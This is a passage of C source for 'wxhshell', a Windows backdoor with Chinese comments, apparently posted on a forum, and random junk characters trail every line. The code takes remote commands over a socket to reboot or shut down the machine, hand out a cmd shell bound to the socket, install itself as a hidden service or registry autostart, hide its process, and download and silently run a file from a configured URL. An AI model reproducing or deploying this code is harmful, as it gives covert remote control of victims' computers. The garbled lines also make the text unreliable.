  } #0\* 8 6  
  else { ,V^$Meh  
^HtB!Xc  
    switch(cmd[0]) { W-Vc6cq  
  r* l c#  
  // 帮助 Z",2db  
  case '?': { 8?x:PkK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -_eG/o=M  
    break; R@/"B?`(f  
  } !_;J@B  
  // 安装 <"xqt7f  
  case 'i': { ZLPj1L  
    if(Install()) mEkYT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' I!/I  
    else jW-;Y/S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4\g[&  
    break; x25zk4-  
    } ; sqxFF@  
  // 卸载 vy2"B ch  
  case 'r': { 3K/ 'K[~  
    if(Uninstall()) zjSl;ru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0IA' 5)  
    else `&xdSH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Ar4X-A{y  
    break; Ap;^ \5  
    } o)x&|0_  
  // 显示 wxhshell 所在路径 7Cbr'!E\_V  
  case 'p': { t)g %9 k^  
    char svExeFile[MAX_PATH]; J&}1=s  
    strcpy(svExeFile,"\n\r"); {XUSw8W'  
      strcat(svExeFile,ExeFile); yLK %lP  
        send(wsh,svExeFile,strlen(svExeFile),0); C3~~h|:  
    break; Msfxce  
    } C8)Paop$  
  // 重启 .tyV =B:h  
  case 'b': { >!{8)ti  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }9#GJ:x`  
    if(Boot(REBOOT)) CdPQhv)m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qt/6o|V  
    else { pGy k61  
    closesocket(wsh); %g3QE:(2@q  
    ExitThread(0); 5MZv!N   
    } \u(Gj]B#"  
    break; jO|`aUY Tf  
    } Gm=&[?}  
  // 关机 a2i:fz=[  
  case 'd': { pY&dw4V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !dcvG9JZ  
    if(Boot(SHUTDOWN)) 9F6dKPN:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <w8H[y"c  
    else { }1+2&Ps50  
    closesocket(wsh); f~TkU\Rh  
    ExitThread(0); D!Nc&|X^  
    } SMRCG"3qwA  
    break; X%fLV(  
    } Z?3B1o9  
  // 获取shell nA.U'=`  
  case 's': { $AMcU5^b7  
    CmdShell(wsh); c'Z)uquvP  
    closesocket(wsh); W_Y56@7e  
    ExitThread(0); ,1JQjsR   
    break; v$(Z}Hg  
  } U~@;2\ o  
  // 退出  CWYOzqf  
  case 'x': { [eTEK W]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /l3Oi@\  
    CloseIt(wsh); D+jvF  
    break; Sz')1<  
    } D;+Y0B  
  // 离开 U7f o4y1}  
  case 'q': { $*P +   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z.unCf3Q  
    closesocket(wsh); T-kHk(  
    WSACleanup(); V|HO*HiB3  
    exit(1); YZnFU( j  
    break; US9@/V*2  
        } UCFFF%  
  } o: > (Tv  
  } r~fnK%|  
wq1s#ag<  
  // 提示信息 i??+5o@uTF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EBQ_c@  
} ,lFzL3'_0x  
  } H/8u?OC  
qvhG ^b0h  
  return; Zc&pJP+M'U  
} z\K %  
HAs/f#zAk6  
// shell模块句柄 JPj/+f  
int CmdShell(SOCKET sock) N#R8ez`  
{ aE"dpYQ  
STARTUPINFO si; M.)z;[3O  
ZeroMemory(&si,sizeof(si)); r4K%dx-t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wZ `{ i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ('d,Sh  
PROCESS_INFORMATION ProcessInfo; aSHN*tP%y  
char cmdline[]="cmd"; B/hQvA;(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I,& gKgh  
  return 0; i-dosY`81  
} EF=5[$ u  
]f wW dtz1  
// 自身启动模式 ^d(gC%+!u  
int StartFromService(void) As tuM]  
{ rploQF~OFF  
typedef struct XJq]l6a:  
{ &Fk|"f+  
  DWORD ExitStatus; mfDt_Iq  
  DWORD PebBaseAddress; j[t2Bp  
  DWORD AffinityMask; u'Hh||La"  
  DWORD BasePriority; EgzdRB\Cf  
  ULONG UniqueProcessId; %)&Tr`   
  ULONG InheritedFromUniqueProcessId; evVxzU&  
}   PROCESS_BASIC_INFORMATION; b1."mT!p  
0}9jl  
PROCNTQSIP NtQueryInformationProcess; yRQNmR;Uy  
1h)K3cC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /WX&UAG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PVmePgF   
E2S#REB4  
  HANDLE             hProcess;  8#1o  
  PROCESS_BASIC_INFORMATION pbi; c<q~T >0k  
jOK !k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AOTtAV_e  
  if(NULL == hInst ) return 0; tejpY  
X%7l! k[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vP%:\u:{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6hXh;-U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k6\&[BQs  
'S=eW_ 0/  
  if (!NtQueryInformationProcess) return 0; eqWs(`  
v Et+^3=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8'v:26   
  if(!hProcess) return 0; #N y+6XM  
Z 2$S'}F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J10&iCr{r*  
byZj7q5&Q  
  CloseHandle(hProcess); GQE7P()  
?]TtUoY=)F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rDc$#  
if(hProcess==NULL) return 0; )"E1/$*k  
{D [z>I;D  
HMODULE hMod; N Zwi3  
char procName[255]; vsYbR3O  
unsigned long cbNeeded; X7MA>j3m  
B!)Tytm9u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Scmew  
aq(i^d  
  CloseHandle(hProcess); UyDq`@h  
91k-os(4]  
if(strstr(procName,"services")) return 1; // 以服务启动 )31xl6@  
/\E3p6\*  
  return 0; // 注册表启动 u|Ng>lU  
}  ]l  
j& L@L.d  
// 主模块 vOtILL6  
int StartWxhshell(LPSTR lpCmdLine) \e%%ik,<  
{ UcB2Aauji  
  SOCKET wsl; t^~itlE{  
BOOL val=TRUE; P|;f>*^Y  
  int port=0; )k4&S{=  
  struct sockaddr_in door; 2>Qy*  
?MvL}o\|  
  if(wscfg.ws_autoins) Install(); 7<X!Xok  
6ywO L'OBM  
port=atoi(lpCmdLine); c/Li,9cT'  
mCQ:< #  
if(port<=0) port=wscfg.ws_port; \|Y_,fi  
LO38}w<k  
  WSADATA data; FY/F}C,o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NA#,q 8  
cSmy M~[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SPtx_+ Q)S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /!*=*  
  door.sin_family = AF_INET; &@D\4b,?nm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `9acR>00$  
  door.sin_port = htons(port); KfQR(e9n   
g)IW9q2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C)%qs]  
closesocket(wsl); JX#0<U|L  
return 1; q&LCMnv"P  
} Xv 7noq|  
cV4Y= &  
  if(listen(wsl,2) == INVALID_SOCKET) { @Z<Z//^k  
closesocket(wsl); isFxo,R9r  
return 1; 2_)gJ_kP  
} @\a~5CLN  
  Wxhshell(wsl); Xu|2@?l9  
  WSACleanup(); ej \S c7.  
+R;s< pZ^  
return 0; 4AKPS&k;  
J_9[ x mM  
} D?4bp'0 3  
p+b$jKWQ  
// 以NT服务方式启动 {*K$gH$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %pf9Yd0t  
{ j@{dsS: 6  
DWORD   status = 0; e -b>   
  DWORD   specificError = 0xfffffff; eK}GBBdO  
Q&/WVRD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YoWXHg!U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4b6)+*[O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V~do6[(  
  serviceStatus.dwWin32ExitCode     = 0; 5gb:,+  
  serviceStatus.dwServiceSpecificExitCode = 0; YWL7.Y>%5  
  serviceStatus.dwCheckPoint       = 0; pX1Us+%  
  serviceStatus.dwWaitHint       = 0; @3bVjQ`4f  
n+nZ;GJ5d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (;-_j /  
  if (hServiceStatusHandle==0) return; Qraa0]56  
nC)"% Sa  
status = GetLastError(); M4% 3a j  
  if (status!=NO_ERROR) _CBMU'V  
{ VmRfnH"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?-8DS5  
    serviceStatus.dwCheckPoint       = 0; g1(5QWb  
    serviceStatus.dwWaitHint       = 0; %P:|B:\<  
    serviceStatus.dwWin32ExitCode     = status; n^*,JL 9@  
    serviceStatus.dwServiceSpecificExitCode = specificError; $9:  @M.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <qEBF`XP=  
    return; %,zHS?)l  
  } 1qBE|PwBp  
}w8yYI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (!YJ:,!so  
  serviceStatus.dwCheckPoint       = 0; t D4-Llj6  
  serviceStatus.dwWaitHint       = 0; '`f+QP=`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '(g;nU<  
} ixE w!t  
-)R =p"-w  
// 处理NT服务事件,比如:启动、停止 +wQ}ZP&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !!w(`kmn1  
{ s!>9od6^  
switch(fdwControl) IreY8.FND  
{ R~fk/T?  
case SERVICE_CONTROL_STOP: PZlPC#E-  
  serviceStatus.dwWin32ExitCode = 0; q?@*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p1 ("  
  serviceStatus.dwCheckPoint   = 0; =E^/gc%X  
  serviceStatus.dwWaitHint     = 0; C[d1n#@r  
  { lcgG5/82  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XODp[+xEEt  
  } 5?([jAOf  
  return; 0WYu5|  
case SERVICE_CONTROL_PAUSE: 4:pgZz!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S.q0L  
  break; .k +>T*c{  
case SERVICE_CONTROL_CONTINUE: fNfa.0 s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !hHX8TD^J  
  break; axq~56"7E  
case SERVICE_CONTROL_INTERROGATE: \u))1zRd  
  break; `"<hO 'WU  
}; ~*<`PDO?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)o@d`*  
} B692Mn  
?~E"!  
// 标准应用程序主函数 \7pEn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1eEML"  
{ OE Xa}K#  
_VTpfeL@n  
// 获取操作系统版本 p<}y'7(  
OsIsNt=GetOsVer(); x%HxM~&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Q>Ao.  
AO|1m$xf  
  // 从命令行安装 78~/1-  
  if(strpbrk(lpCmdLine,"iI")) Install(); X.[bgvm~C  
*'aouS/?<6  
  // 下载执行文件 !H{>c@i  
if(wscfg.ws_downexe) { PHY!yc-LjV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~I%164B+/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9F?-zn;2s  
} cAot+N+9|]  
Cc,V ]  
if(!OsIsNt) { Uxik&M  
// 如果时win9x,隐藏进程并且设置为注册表启动 qu dY9_  
HideProc(); 23`salLclG  
StartWxhshell(lpCmdLine); 9c }qVf-i  
} 4z26a  
else x?0K'  
  if(StartFromService()) \~(kGE--+  
  // 以服务方式启动 (v|<" tv  
  StartServiceCtrlDispatcher(DispatchTable); )*{B_[  
else Il(o[Q>jJ3  
  // 普通方式启动 Xw<;)m  
  StartWxhshell(lpCmdLine); QjG/H0*mP  
,|>>z#Rr(n  
return 0; @G=7A;-pv0  
}
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只看该作者 1 发表于: 2006-10-10
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